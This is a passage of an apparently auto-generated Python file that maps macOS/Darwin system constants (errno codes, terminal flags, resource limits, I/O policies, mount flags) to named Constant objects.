Constant('CTL_DEBUG_NAME',0)\nCTL_DEBUG_VALUE = Constant('CTL_DEBUG_VALUE',1)\nCTL_DEBUG_MAXID = Constant('CTL_DEBUG_MAXID',20)\nUTF_REVERSE_ENDIAN = Constant('UTF_REVERSE_ENDIAN',0x0001)\nUTF_NO_NULL_TERM = Constant('UTF_NO_NULL_TERM',0x0002)\nUTF_DECOMPOSED = Constant('UTF_DECOMPOSED',0x0004)\nUTF_PRECOMPOSED = Constant('UTF_PRECOMPOSED',0x0008)\nUTF_ESCAPE_ILLEGAL = Constant('UTF_ESCAPE_ILLEGAL',0x0010)\nUTF_SFM_CONVERSIONS = Constant('UTF_SFM_CONVERSIONS',0x0020)\nPRIO_PROCESS = Constant('PRIO_PROCESS',0)\nPRIO_PGRP = Constant('PRIO_PGRP',1)\nPRIO_USER = Constant('PRIO_USER',2)\nPRIO_DARWIN_THREAD = Constant('PRIO_DARWIN_THREAD',3)\nPRIO_DARWIN_PROCESS = Constant('PRIO_DARWIN_PROCESS',4)\nPRIO_MAX = Constant('PRIO_MAX',20)\nPRIO_DARWIN_BG = Constant('PRIO_DARWIN_BG',0x1000)\nPRIO_DARWIN_NONUI = Constant('PRIO_DARWIN_NONUI',0x1001)\nRUSAGE_SELF = Constant('RUSAGE_SELF',0)\nRUSAGE_INFO_V0 = Constant('RUSAGE_INFO_V0',0)\nRUSAGE_INFO_V1 = Constant('RUSAGE_INFO_V1',1)\nRUSAGE_INFO_V2 = Constant('RUSAGE_INFO_V2',2)\nRUSAGE_INFO_V3 = Constant('RUSAGE_INFO_V3',3)\nRUSAGE_INFO_V4 = Constant('RUSAGE_INFO_V4',4)\nRUSAGE_INFO_V5 = Constant('RUSAGE_INFO_V5',5)\nRUSAGE_INFO_V6 = Constant('RUSAGE_INFO_V6',6)\nRU_PROC_RUNS_RESLIDE = Constant('RU_PROC_RUNS_RESLIDE',0x00000001)\nRLIMIT_CPU = Constant('RLIMIT_CPU',0)\nRLIMIT_FSIZE = Constant('RLIMIT_FSIZE',1)\nRLIMIT_DATA = Constant('RLIMIT_DATA',2)\nRLIMIT_STACK = Constant('RLIMIT_STACK',3)\nRLIMIT_CORE = Constant('RLIMIT_CORE',4)\nRLIMIT_AS = Constant('RLIMIT_AS',5)\nRLIMIT_MEMLOCK = Constant('RLIMIT_MEMLOCK',6)\nRLIMIT_NPROC = Constant('RLIMIT_NPROC',7)\nRLIMIT_NOFILE = Constant('RLIMIT_NOFILE',8)\nRLIM_NLIMITS = Constant('RLIM_NLIMITS',9)\n_RLIMIT_POSIX_FLAG = Constant('_RLIMIT_POSIX_FLAG',0x1000)\nRLIMIT_WAKEUPS_MONITOR = Constant('RLIMIT_WAKEUPS_MONITOR',0x1)\nRLIMIT_CPU_USAGE_MONITOR = Constant('RLIMIT_CPU_USAGE_MONITOR',0x2)\nRLIMIT_THREAD_CPULIMITS = Constant('RLIMIT_THREAD_CPULIMITS',0x3)\nRLIMIT_FOOTPRINT_INTERVAL = Constant('RLIMIT_FOOTPRINT_INTERVAL',0x4)\nWAKEMON_ENABLE = Constant('WAKEMON_ENABLE',0x01)\nWAKEMON_DISABLE = Constant('WAKEMON_DISABLE',0x02)\nWAKEMON_GET_PARAMS = Constant('WAKEMON_GET_PARAMS',0x04)\nWAKEMON_SET_DEFAULTS = Constant('WAKEMON_SET_DEFAULTS',0x08)\nWAKEMON_MAKE_FATAL = Constant('WAKEMON_MAKE_FATAL',0x10)\nCPUMON_MAKE_FATAL = Constant('CPUMON_MAKE_FATAL',0x1000)\nFOOTPRINT_INTERVAL_RESET = Constant('FOOTPRINT_INTERVAL_RESET',0x1)\nIOPOL_TYPE_DISK = Constant('IOPOL_TYPE_DISK',0)\nIOPOL_TYPE_VFS_ATIME_UPDATES = Constant('IOPOL_TYPE_VFS_ATIME_UPDATES',2)\nIOPOL_TYPE_VFS_MATERIALIZE_DATALESS_FILES = Constant('IOPOL_TYPE_VFS_MATERIALIZE_DATALESS_FILES',3)\nIOPOL_TYPE_VFS_STATFS_NO_DATA_VOLUME = Constant('IOPOL_TYPE_VFS_STATFS_NO_DATA_VOLUME',4)\nIOPOL_TYPE_VFS_TRIGGER_RESOLVE = Constant('IOPOL_TYPE_VFS_TRIGGER_RESOLVE',5)\nIOPOL_TYPE_VFS_IGNORE_CONTENT_PROTECTION = Constant('IOPOL_TYPE_VFS_IGNORE_CONTENT_PROTECTION',6)\nIOPOL_TYPE_VFS_IGNORE_PERMISSIONS = Constant('IOPOL_TYPE_VFS_IGNORE_PERMISSIONS',7)\nIOPOL_TYPE_VFS_SKIP_MTIME_UPDATE = Constant('IOPOL_TYPE_VFS_SKIP_MTIME_UPDATE',8)\nIOPOL_TYPE_VFS_ALLOW_LOW_SPACE_WRITES = Constant('IOPOL_TYPE_VFS_ALLOW_LOW_SPACE_WRITES',9)\nIOPOL_TYPE_VFS_DISALLOW_RW_FOR_O_EVTONLY = Constant('IOPOL_TYPE_VFS_DISALLOW_RW_FOR_O_EVTONLY',10)\nIOPOL_SCOPE_PROCESS = Constant('IOPOL_SCOPE_PROCESS',0)\nIOPOL_SCOPE_THREAD = Constant('IOPOL_SCOPE_THREAD',1)\nIOPOL_SCOPE_DARWIN_BG = Constant('IOPOL_SCOPE_DARWIN_BG',2)\nIOPOL_DEFAULT = Constant('IOPOL_DEFAULT',0)\nIOPOL_IMPORTANT = Constant('IOPOL_IMPORTANT',1)\nIOPOL_PASSIVE = Constant('IOPOL_PASSIVE',2)\nIOPOL_THROTTLE = Constant('IOPOL_THROTTLE',3)\nIOPOL_UTILITY = Constant('IOPOL_UTILITY',4)\nIOPOL_STANDARD = Constant('IOPOL_STANDARD',5)\nIOPOL_ATIME_UPDATES_DEFAULT = Constant('IOPOL_ATIME_UPDATES_DEFAULT',0)\nIOPOL_ATIME_UPDATES_OFF = Constant('IOPOL_ATIME_UPDATES_OFF',1)\nIOPOL_MATERIALIZE_DATALESS_FILES_DEFAULT = Constant('IOPOL_MATERIALIZE_DATALESS_FILES_DEFAULT',0)\nIOPOL_MATERIALIZE_DATALESS_FILES_OFF = Constant('IOPOL_MATERIALIZE_DATALESS_FILES_OFF',1)\nIOPOL_MATERIALIZE_DATALESS_FILES_ON = Constant('IOPOL_MATERIALIZE_DATALESS_FILES_ON',2)\nIOPOL_VFS_STATFS_NO_DATA_VOLUME_DEFAULT = Constant('IOPOL_VFS_STATFS_NO_DATA_VOLUME_DEFAULT',0)\nIOPOL_VFS_STATFS_FORCE_NO_DATA_VOLUME = Constant('IOPOL_VFS_STATFS_FORCE_NO_DATA_VOLUME',1)\nIOPOL_VFS_TRIGGER_RESOLVE_DEFAULT = Constant('IOPOL_VFS_TRIGGER_RESOLVE_DEFAULT',0)\nIOPOL_VFS_TRIGGER_RESOLVE_OFF = Constant('IOPOL_VFS_TRIGGER_RESOLVE_OFF',1)\nIOPOL_VFS_CONTENT_PROTECTION_DEFAULT = Constant('IOPOL_VFS_CONTENT_PROTECTION_DEFAULT',0)\nIOPOL_VFS_CONTENT_PROTECTION_IGNORE = Constant('IOPOL_VFS_CONTENT_PROTECTION_IGNORE',1)\nIOPOL_VFS_IGNORE_PERMISSIONS_OFF = Constant('IOPOL_VFS_IGNORE_PERMISSIONS_OFF',0)\nIOPOL_VFS_IGNORE_PERMISSIONS_ON = Constant('IOPOL_VFS_IGNORE_PERMISSIONS_ON',1)\nIOPOL_VFS_SKIP_MTIME_UPDATE_OFF = Constant('IOPOL_VFS_SKIP_MTIME_UPDATE_OFF',0)\nIOPOL_VFS_SKIP_MTIME_UPDATE_ON = Constant('IOPOL_VFS_SKIP_MTIME_UPDATE_ON',1)\nIOPOL_VFS_ALLOW_LOW_SPACE_WRITES_OFF = Constant('IOPOL_VFS_ALLOW_LOW_SPACE_WRITES_OFF',0)\nIOPOL_VFS_ALLOW_LOW_SPACE_WRITES_ON = Constant('IOPOL_VFS_ALLOW_LOW_SPACE_WRITES_ON',1)\nIOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_DEFAULT = Constant('IOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_DEFAULT',0)\nIOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_ON = Constant('IOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_ON',1)\nIOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_DEFAULT = Constant('IOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_DEFAULT',0)\nIOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_ON = Constant('IOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_ON',1)\nIOCPARM_MASK = Constant('IOCPARM_MASK',0x1fff)\nXATTR_NOFOLLOW = Constant('XATTR_NOFOLLOW',0x0001)\nXATTR_CREATE = Constant('XATTR_CREATE',0x0002)\nXATTR_REPLACE = Constant('XATTR_REPLACE',0x0004)\nXATTR_NOSECURITY = Constant('XATTR_NOSECURITY',0x0008)\nXATTR_NODEFAULT = Constant('XATTR_NODEFAULT',0x0010)\nXATTR_SHOWCOMPRESSION = Constant('XATTR_SHOWCOMPRESSION',0x0020)\nXATTR_NOFOLLOW_ANY = Constant('XATTR_NOFOLLOW_ANY',0x0040)\nXATTR_MAXNAMELEN = Constant('XATTR_MAXNAMELEN',127)\nPR_SLOWHZ = Constant('PR_SLOWHZ',2)\nPRC_IFDOWN = Constant('PRC_IFDOWN',0)\nPRC_ROUTEDEAD = Constant('PRC_ROUTEDEAD',1)\nPRC_IFUP = Constant('PRC_IFUP',2)\nPRC_QUENCH2 = Constant('PRC_QUENCH2',3)\nPRC_QUENCH = Constant('PRC_QUENCH',4)\nPRC_MSGSIZE = Constant('PRC_MSGSIZE',5)\nPRC_HOSTDEAD = Constant('PRC_HOSTDEAD',6)\nPRC_HOSTUNREACH = Constant('PRC_HOSTUNREACH',7)\nPRC_UNREACH_NET = Constant('PRC_UNREACH_NET',8)\nPRC_UNREACH_HOST = Constant('PRC_UNREACH_HOST',9)\nPRC_UNREACH_PROTOCOL = Constant('PRC_UNREACH_PROTOCOL',10)\nPRC_UNREACH_PORT = Constant('PRC_UNREACH_PORT',11)\nPRC_UNREACH_SRCFAIL = Constant('PRC_UNREACH_SRCFAIL',13)\nPRC_REDIRECT_NET = Constant('PRC_REDIRECT_NET',14)\nPRC_REDIRECT_HOST = Constant('PRC_REDIRECT_HOST',15)\nPRC_REDIRECT_TOSNET = Constant('PRC_REDIRECT_TOSNET',16)\nPRC_REDIRECT_TOSHOST = Constant('PRC_REDIRECT_TOSHOST',17)\nPRC_TIMXCEED_INTRANS = Constant('PRC_TIMXCEED_INTRANS',18)\nPRC_TIMXCEED_REASS = Constant('PRC_TIMXCEED_REASS',19)\nPRC_PARAMPROB = Constant('PRC_PARAMPROB',20)\nPRC_UNREACH_ADMIN_PROHIB = Constant('PRC_UNREACH_ADMIN_PROHIB',21)\nPRC_NCMDS = Constant('PRC_NCMDS',22)\nKEV_CTL_SUBCLASS = Constant('KEV_CTL_SUBCLASS',2)\nKEV_CTL_REGISTERED = Constant('KEV_CTL_REGISTERED',1)\nKEV_CTL_DEREGISTERED = Constant('KEV_CTL_DEREGISTERED',2)\nMAX_KCTL_NAME = Constant('MAX_KCTL_NAME',96)\nCTL_FLAG_PRIVILEGED = Constant('CTL_FLAG_PRIVILEGED',0x1)\nCTL_FLAG_REG_ID_UNIT = Constant('CTL_FLAG_REG_ID_UNIT',0x2)\nCTL_FLAG_REG_SOCK_STREAM = Constant('CTL_FLAG_REG_SOCK_STREAM',0x4)\nCTL_DATA_NOWAKEUP = Constant('CTL_DATA_NOWAKEUP',0x1)\nCTL_DATA_EOR = Constant('CTL_DATA_EOR',0x2)\n__has_safe_buffers = Constant('__has_safe_buffers',0)\n__DARWIN_ONLY_64_BIT_INO_T = Constant('__DARWIN_ONLY_64_BIT_INO_T',0)\n__DARWIN_ONLY_UNIX_CONFORMANCE = Constant('__DARWIN_ONLY_UNIX_CONFORMANCE',0)\n__DARWIN_ONLY_VERS_1050 = Constant('__DARWIN_ONLY_VERS_1050',0)\n__STDC_WANT_LIB_EXT1__ = Constant('__STDC_WANT_LIB_EXT1__',1)\n__DARWIN_NO_LONG_LONG = Constant('__DARWIN_NO_LONG_LONG',0)\n_DARWIN_FEATURE_64_BIT_INODE = Constant('_DARWIN_FEATURE_64_BIT_INODE',1)\n_DARWIN_FEATURE_ONLY_64_BIT_INODE = Constant('_DARWIN_FEATURE_ONLY_64_BIT_INODE',1)\n_DARWIN_FEATURE_ONLY_VERS_1050 = Constant('_DARWIN_FEATURE_ONLY_VERS_1050',1)\n_DARWIN_FEATURE_ONLY_UNIX_CONFORMANCE = Constant('_DARWIN_FEATURE_ONLY_UNIX_CONFORMANCE',1)\n_DARWIN_FEATURE_UNIX_CONFORMANCE = Constant('_DARWIN_FEATURE_UNIX_CONFORMANCE',3)\n__has_ptrcheck = Constant('__has_ptrcheck',0)\nMAXMAXPARTITIONS = Constant('MAXMAXPARTITIONS',22)\nNDDATA = Constant('NDDATA',5)\nNSPARE = Constant('NSPARE',5)\nDTYPE_SMD = Constant('DTYPE_SMD',1)\nDTYPE_MSCP = Constant('DTYPE_MSCP',2)\nDTYPE_DEC = Constant('DTYPE_DEC',3)\nDTYPE_SCSI = Constant('DTYPE_SCSI',4)\nDTYPE_ESDI = Constant('DTYPE_ESDI',5)\nDTYPE_ST506 = Constant('DTYPE_ST506',6)\nDTYPE_HPIB = Constant('DTYPE_HPIB',7)\nDTYPE_HPFL = Constant('DTYPE_HPFL',8)\nDTYPE_FLOPPY = Constant('DTYPE_FLOPPY',10)\nFS_UNUSED = Constant('FS_UNUSED',0)\nFS_SWAP = Constant('FS_SWAP',1)\nFS_V6 = Constant('FS_V6',2)\nFS_V7 = Constant('FS_V7',3)\nFS_SYSV = Constant('FS_SYSV',4)\nFS_V71K = Constant('FS_V71K',5)\nFS_V8 = Constant('FS_V8',6)\nFS_BSDFFS = Constant('FS_BSDFFS',7)\nFS_MSDOS = Constant('FS_MSDOS',8)\nFS_BSDLFS = Constant('FS_BSDLFS',9)\nFS_OTHER = Constant('FS_OTHER',10)\nFS_HPFS = Constant('FS_HPFS',11)\nFS_ISO9660 = Constant('FS_ISO9660',12)\nFS_BOOT = Constant('FS_BOOT',13)\nFS_ADOS = Constant('FS_ADOS',14)\nFS_HFS = Constant('FS_HFS',15)\nD_REMOVABLE = Constant('D_REMOVABLE',0x01)\nD_ECC = Constant('D_ECC',0x02)\nD_BADSECT = Constant('D_BADSECT',0x04)\nD_RAMDISK = Constant('D_RAMDISK',0x08)\nD_CHAIN = Constant('D_CHAIN',0x10)\nD_SSE = Constant('D_SSE',0x1)\nEPERM = Constant('EPERM',1)\nENOENT = Constant('ENOENT',2)\nESRCH = Constant('ESRCH',3)\nEINTR = Constant('EINTR',4)\nEIO = Constant('EIO',5)\nENXIO = Constant('ENXIO',6)\nE2BIG = Constant('E2BIG',7)\nENOEXEC = Constant('ENOEXEC',8)\nEBADF = Constant('EBADF',9)\nECHILD = Constant('ECHILD',10)\nEDEADLK = Constant('EDEADLK',11)\nENOMEM = Constant('ENOMEM',12)\nEACCES = Constant('EACCES',13)\nEFAULT = Constant('EFAULT',14)\nENOTBLK = Constant('ENOTBLK',15)\nEBUSY = Constant('EBUSY',16)\nEEXIST = Constant('EEXIST',17)\nEXDEV = Constant('EXDEV',18)\nENODEV = Constant('ENODEV',19)\nENOTDIR = Constant('ENOTDIR',20)\nEISDIR = Constant('EISDIR',21)\nEINVAL = Constant('EINVAL',22)\nENFILE = Constant('ENFILE',23)\nEMFILE = Constant('EMFILE',24)\nENOTTY = Constant('ENOTTY',25)\nETXTBSY = Constant('ETXTBSY',26)\nEFBIG = Constant('EFBIG',27)\nENOSPC = Constant('ENOSPC',28)\nESPIPE = Constant('ESPIPE',29)\nEROFS = Constant('EROFS',30)\nEMLINK = Constant('EMLINK',31)\nEPIPE = Constant('EPIPE',32)\nEDOM = Constant('EDOM',33)\nERANGE = Constant('ERANGE',34)\nEAGAIN = Constant('EAGAIN',35)\nEINPROGRESS = Constant('EINPROGRESS',36)\nEALREADY = Constant('EALREADY',37)\nENOTSOCK = Constant('ENOTSOCK',38)\nEDESTADDRREQ = Constant('EDESTADDRREQ',39)\nEMSGSIZE = Constant('EMSGSIZE',40)\nEPROTOTYPE = Constant('EPROTOTYPE',41)\nENOPROTOOPT = Constant('ENOPROTOOPT',42)\nEPROTONOSUPPORT = Constant('EPROTONOSUPPORT',43)\nESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',44)\nENOTSUP = Constant('ENOTSUP',45)\nEPFNOSUPPORT = Constant('EPFNOSUPPORT',46)\nEAFNOSUPPORT = Constant('EAFNOSUPPORT',47)\nEADDRINUSE = Constant('EADDRINUSE',48)\nEADDRNOTAVAIL = Constant('EADDRNOTAVAIL',49)\nENETDOWN = Constant('ENETDOWN',50)\nENETUNREACH = Constant('ENETUNREACH',51)\nENETRESET = Constant('ENETRESET',52)\nECONNABORTED = Constant('ECONNABORTED',53)\nECONNRESET = Constant('ECONNRESET',54)\nENOBUFS = Constant('ENOBUFS',55)\nEISCONN = Constant('EISCONN',56)\nENOTCONN = Constant('ENOTCONN',57)\nESHUTDOWN = Constant('ESHUTDOWN',58)\nETOOMANYREFS = Constant('ETOOMANYREFS',59)\nETIMEDOUT = Constant('ETIMEDOUT',60)\nECONNREFUSED = Constant('ECONNREFUSED',61)\nELOOP = Constant('ELOOP',62)\nENAMETOOLONG = Constant('ENAMETOOLONG',63)\nEHOSTDOWN = Constant('EHOSTDOWN',64)\nEHOSTUNREACH = Constant('EHOSTUNREACH',65)\nENOTEMPTY = Constant('ENOTEMPTY',66)\nEPROCLIM = Constant('EPROCLIM',67)\nEUSERS = Constant('EUSERS',68)\nEDQUOT = Constant('EDQUOT',69)\nESTALE = Constant('ESTALE',70)\nEREMOTE = Constant('EREMOTE',71)\nEBADRPC = Constant('EBADRPC',72)\nERPCMISMATCH = Constant('ERPCMISMATCH',73)\nEPROGUNAVAIL = Constant('EPROGUNAVAIL',74)\nEPROGMISMATCH = Constant('EPROGMISMATCH',75)\nEPROCUNAVAIL = Constant('EPROCUNAVAIL',76)\nENOLCK = Constant('ENOLCK',77)\nENOSYS = Constant('ENOSYS',78)\nEFTYPE = Constant('EFTYPE',79)\nEAUTH = Constant('EAUTH',80)\nENEEDAUTH = Constant('ENEEDAUTH',81)\nEPWROFF = Constant('EPWROFF',82)\nEDEVERR = Constant('EDEVERR',83)\nEOVERFLOW = Constant('EOVERFLOW',84)\nEBADEXEC = Constant('EBADEXEC',85)\nEBADARCH = Constant('EBADARCH',86)\nESHLIBVERS = Constant('ESHLIBVERS',87)\nEBADMACHO = Constant('EBADMACHO',88)\nECANCELED = Constant('ECANCELED',89)\nEIDRM = Constant('EIDRM',90)\nENOMSG = Constant('ENOMSG',91)\nEILSEQ = Constant('EILSEQ',92)\nENOATTR = Constant('ENOATTR',93)\nEBADMSG = Constant('EBADMSG',94)\nEMULTIHOP = Constant('EMULTIHOP',95)\nENODATA = Constant('ENODATA',96)\nENOLINK = Constant('ENOLINK',97)\nENOSR = Constant('ENOSR',98)\nENOSTR = Constant('ENOSTR',99)\nEPROTO = Constant('EPROTO',100)\nETIME = Constant('ETIME',101)\nEOPNOTSUPP = Constant('EOPNOTSUPP',102)\nENOPOLICY = Constant('ENOPOLICY',103)\nENOTRECOVERABLE = Constant('ENOTRECOVERABLE',104)\nEOWNERDEAD = Constant('EOWNERDEAD',105)\nEQFULL = Constant('EQFULL',106)\nELAST = Constant('ELAST',106)\nVEOF = Constant('VEOF',0)\nVEOL = Constant('VEOL',1)\nVEOL2 = Constant('VEOL2',2)\nVERASE = Constant('VERASE',3)\nVWERASE = Constant('VWERASE',4)\nVKILL = Constant('VKILL',5)\nVREPRINT = Constant('VREPRINT',6)\nVINTR = Constant('VINTR',8)\nVQUIT = Constant('VQUIT',9)\nVSUSP = Constant('VSUSP',10)\nVDSUSP = Constant('VDSUSP',11)\nVSTART = Constant('VSTART',12)\nVSTOP = Constant('VSTOP',13)\nVLNEXT = Constant('VLNEXT',14)\nVDISCARD = Constant('VDISCARD',15)\nVMIN = Constant('VMIN',16)\nVTIME = Constant('VTIME',17)\nVSTATUS = Constant('VSTATUS',18)\nNCCS = Constant('NCCS',20)\nIGNBRK = Constant('IGNBRK',0x00000001)\nBRKINT = Constant('BRKINT',0x00000002)\nIGNPAR = Constant('IGNPAR',0x00000004)\nPARMRK = Constant('PARMRK',0x00000008)\nINPCK = Constant('INPCK',0x00000010)\nISTRIP = Constant('ISTRIP',0x00000020)\nINLCR = Constant('INLCR',0x00000040)\nIGNCR = Constant('IGNCR',0x00000080)\nICRNL = Constant('ICRNL',0x00000100)\nIXON = Constant('IXON',0x00000200)\nIXOFF = Constant('IXOFF',0x00000400)\nIXANY = Constant('IXANY',0x00000800)\nIMAXBEL = Constant('IMAXBEL',0x00002000)\nIUTF8 = Constant('IUTF8',0x00004000)\nOPOST = Constant('OPOST',0x00000001)\nONLCR = Constant('ONLCR',0x00000002)\nOXTABS = Constant('OXTABS',0x00000004)\nONOEOT = Constant('ONOEOT',0x00000008)\nOCRNL = Constant('OCRNL',0x00000010)\nONOCR = Constant('ONOCR',0x00000020)\nONLRET = Constant('ONLRET',0x00000040)\nOFILL = Constant('OFILL',0x00000080)\nNLDLY = Constant('NLDLY',0x00000300)\nTABDLY = Constant('TABDLY',0x00000c04)\nCRDLY = Constant('CRDLY',0x00003000)\nFFDLY = Constant('FFDLY',0x00004000)\nBSDLY = Constant('BSDLY',0x00008000)\nVTDLY = Constant('VTDLY',0x00010000)\nOFDEL = Constant('OFDEL',0x00020000)\nTAB3 = Constant('TAB3',0x00000004)\nVT0 = Constant('VT0',0x00000000)\nVT1 = Constant('VT1',0x00010000)\nCIGNORE = Constant('CIGNORE',0x00000001)\nCSIZE = Constant('CSIZE',0x00000300)\nCS5 = Constant('CS5',0x00000000)\nCS6 = Constant('CS6',0x00000100)\nCS7 = Constant('CS7',0x00000200)\nCS8 = Constant('CS8',0x00000300)\nCSTOPB = Constant('CSTOPB',0x00000400)\nCREAD = Constant('CREAD',0x00000800)\nPARENB = Constant('PARENB',0x00001000)\nPARODD = Constant('PARODD',0x00002000)\nHUPCL = Constant('HUPCL',0x00004000)\nCLOCAL = Constant('CLOCAL',0x00008000)\nCCTS_OFLOW = Constant('CCTS_OFLOW',0x00010000)\nCRTS_IFLOW = Constant('CRTS_IFLOW',0x00020000)\nCDTR_IFLOW = Constant('CDTR_IFLOW',0x00040000)\nCDSR_OFLOW = Constant('CDSR_OFLOW',0x00080000)\nCCAR_OFLOW = Constant('CCAR_OFLOW',0x00100000)\nECHOKE = Constant('ECHOKE',0x00000001)\nECHOE = Constant('ECHOE',0x00000002)\nECHOK = Constant('ECHOK',0x00000004)\nECHONL = Constant('ECHONL',0x00000010)\nECHOPRT = Constant('ECHOPRT',0x00000020)\nECHOCTL = Constant('ECHOCTL',0x00000040)\nISIG = Constant('ISIG',0x00000080)\nICANON = Constant('ICANON',0x00000100)\nALTWERASE = Constant('ALTWERASE',0x00000200)\nIEXTEN = Constant('IEXTEN',0x00000400)\nEXTPROC = Constant('EXTPROC',0x00000800)\nNOKERNINFO = Constant('NOKERNINFO',0x02000000)\nTCSANOW = Constant('TCSANOW',0)\nTCSADRAIN = Constant('TCSADRAIN',1)\nTCSAFLUSH = Constant('TCSAFLUSH',2)\nTCSASOFT = Constant('TCSASOFT',0x10)\nB0 = Constant('B0',0)\nB50 = Constant('B50',50)\nB75 = Constant('B75',75)\nB110 = Constant('B110',110)\nB134 = Constant('B134',134)\nB150 = Constant('B150',150)\nB200 = Constant('B200',200)\nB300 = Constant('B300',300)\nB600 = Constant('B600',600)\nB1200 = Constant('B1200',1200)\nB1800 = Constant('B1800',1800)\nB2400 = Constant('B2400',2400)\nB4800 = Constant('B4800',4800)\nB9600 = Constant('B9600',9600)\nB19200 = Constant('B19200',19200)\nB38400 = Constant('B38400',38400)\nB7200 = Constant('B7200',7200)\nB14400 = Constant('B14400',14400)\nB28800 = Constant('B28800',28800)\nB57600 = Constant('B57600',57600)\nB76800 = Constant('B76800',76800)\nB115200 = Constant('B115200',115200)\nB230400 = Constant('B230400',230400)\nEXTA = Constant('EXTA',19200)\nEXTB = Constant('EXTB',38400)\nRENAME_SECLUDE = Constant('RENAME_SECLUDE',0x00000001)\nRENAME_SWAP = Constant('RENAME_SWAP',0x00000002)\nRENAME_EXCL = Constant('RENAME_EXCL',0x00000004)\nRENAME_RESERVED1 = Constant('RENAME_RESERVED1',0x00000008)\nRENAME_NOFOLLOW_ANY = Constant('RENAME_NOFOLLOW_ANY',0x00000010)\nMFSNAMELEN = Constant('MFSNAMELEN',15)\nMFSTYPENAMELEN = Constant('MFSTYPENAMELEN',16)\nMNAMELEN = Constant('MNAMELEN',90)\nMNT_EXT_ROOT_DATA_VOL = Constant('MNT_EXT_ROOT_DATA_VOL',0x00000001)\nMNT_EXT_FSKIT = Constant('MNT_EXT_FSKIT',0x00000002)\nMNT_RDONLY = Constant('MNT_RDONLY',0x00000001)\nMNT_SYNCHRONOUS = Constant('MNT_SYNCHRONOUS',0x00000002)\nMNT_NOEXEC = Constant('MNT_NOEXEC',0x00000004)\nMNT_NOSUID = Constant('MNT_NOSUID',0x00000008)\nMNT_NODEV = Constant('MNT_NODEV',0x00000010)\nMNT_UNION = Constant('MNT_UNION',0x00000020)\nMNT_ASYNC = Constant('MNT_ASYNC',0x00000040)\nMNT_CPROTECT = Constant('MNT_CPROTECT',0x00000080)\nMNT_EXPORTED = Constant('MNT_EXPORTED',0x00000100)\nMNT_REMOVABLE = Constant('MNT_REMOVABLE',0x00000200)\nMNT_QUARANTINE = Constant('MNT_QUARANTINE',0x00000400)\nMNT_LOCAL = Constant('MNT_LOCAL',0x00001000)\nMNT_QUOTA = Constant('MNT_QUOTA',0x00002000)\nMNT_ROOTFS = Constant('MNT_ROOTFS',0x00004000)\nMNT_DOVOLFS = Constant('MNT_DOVOLFS',0x00008000)\nMNT_DONTBROWSE = Constant('MNT_DONTBROWSE',0x00100000)\nMNT_IGNORE_OWNERSHIP = Constant('MNT_IGNORE_OWNERSHIP',0x00200000)\nMNT_AUTOMOUNTED = Constant('MNT_AUTOMOUNTED',0x00400000)\nMNT_JOURNALED = Constant('MNT_JOURNALED',0x00800000)\nMNT_NOUSERXATTR = Constant('MNT_NOUSERXATTR',0x01000000)\nMNT_DEFWRITE = Constant('MNT_DEFWRITE',0x02000000)\nMNT_MULTILABEL = Constant('MNT_MULTILABEL',0x04000000)\nMNT_NOFOLLOW = Constant('MNT_NOFOLLOW',0x08000000)\nMNT_NOATIME = Constant('MNT_NOATIME',0x10000000)\nMNT_SNAPSHOT = Constant('MNT_SNAPSHOT',0x40000000)\nMNT_STRICTATIME = Constant('MNT_STRICTATIME',0x80000000)\nMNT_UPDATE = Constant('MNT_UPDATE',0x00010000)\nMNT_NOBLOCK = Constant('MNT_NOBLOCK',0x00020000)\nMNT_RELOAD = Constant('MNT_RELOAD',0x00040000)\nMNT_FORCE = Constant('MNT_FORCE',0x00080000)\nVFS_GENERIC = Constant('VFS_GENERIC',0)\nVFS_NUMMNTOPS = Constant('VFS_NUMMNTOPS',1)\nVFS_MAXTYPENUM = Constant('VFS_MAXTYPENUM',1)\nVFS_CONF = Constant('VFS_CONF',2)\nMNT_WAIT = Constant('MNT_WAIT',1)\nMNT_NOWAIT = Constant('MNT_NOWAIT',2)\nMNT_DWAIT = Constant('MNT_DWAIT',4)\nMNT_VOLUME = Constant('MNT_VOLUME',8)\nVFS_CTL_VERS1 = Constant('VFS_CTL_VERS1',0x01)\nVFS_CTL_OSTATFS = Constant('VFS_CTL_OSTATFS',0x00010001)\nVFS_CTL_UMOUNT = Constant('VFS_CTL_UMOUNT',0x00010002)\nVFS_CTL_QUERY = Constant('VFS_CTL_QUERY',0x00010003)\nVFS_CTL_NEWADDR = Constant('VFS_CTL_NEWADDR',0x00010004)\nVFS_CTL_TIMEO = Constant('VFS_CTL_TIMEO',0x00010005)\nVFS_CTL_NOLOCKS = Constant('VFS_CTL_NOLOCKS',0x00010006)\nVFS_CTL_SADDR = Constant('VFS_CTL_SADDR',0x00010007)\nVFS_CTL_DISC = Constant('VFS_CTL_DISC',0x00010008)\nVFS_CTL_SERVERINFO = Constant('VFS_CTL_SERVERINFO',0x00010009)\nVFS_CTL_NSTATUS = Constant('VFS_CTL_NSTATUS',0x0001000A)\nVFS_CTL_STATFS64 = Constant('VFS_CTL_STATFS64',0x0001000B)\nVQ_NOTRESP = Constant('VQ_NOTRESP',0x0001)\nVQ_NEEDAUTH = Constant('VQ_NEEDAUTH',0x0002)\nVQ_LOWDISK = Constant('VQ_LOWDISK',0x0004)\nVQ_MOUNT = Constant('VQ_MOUNT',0x0008)\nVQ_UNMOUNT = Constant('VQ_UNMOUNT',0x0010)\nVQ_DEAD = Constant('VQ_DEAD',0x0020)\nVQ_ASSIST = Constant('VQ_ASSIST',0x0040)\nVQ_NOTRESPLOCK = Constant('VQ_NOTRESPLOCK',0x0080)\nVQ_UPDATE = Constant('VQ_UPDATE',0x0100)\nVQ_VERYLOWDISK = Constant('VQ_VERYLOWDISK',0x0200)\nVQ_SYNCEVENT = Constant('VQ_SYNCEVENT',0x0400)\nVQ_SERVEREVENT = Constant('VQ_SERVEREVENT',0x0800)\nVQ_QUOTA = Constant('VQ_QUOTA',0x1000)\nVQ_NEARLOWDISK = Constant('VQ_NEARLOWDISK',0x2000)\nVQ_DESIRED_DISK = Constant('VQ_DESIRED_DISK',0x4000)\nVQ_FREE_SPACE_CHANGE = 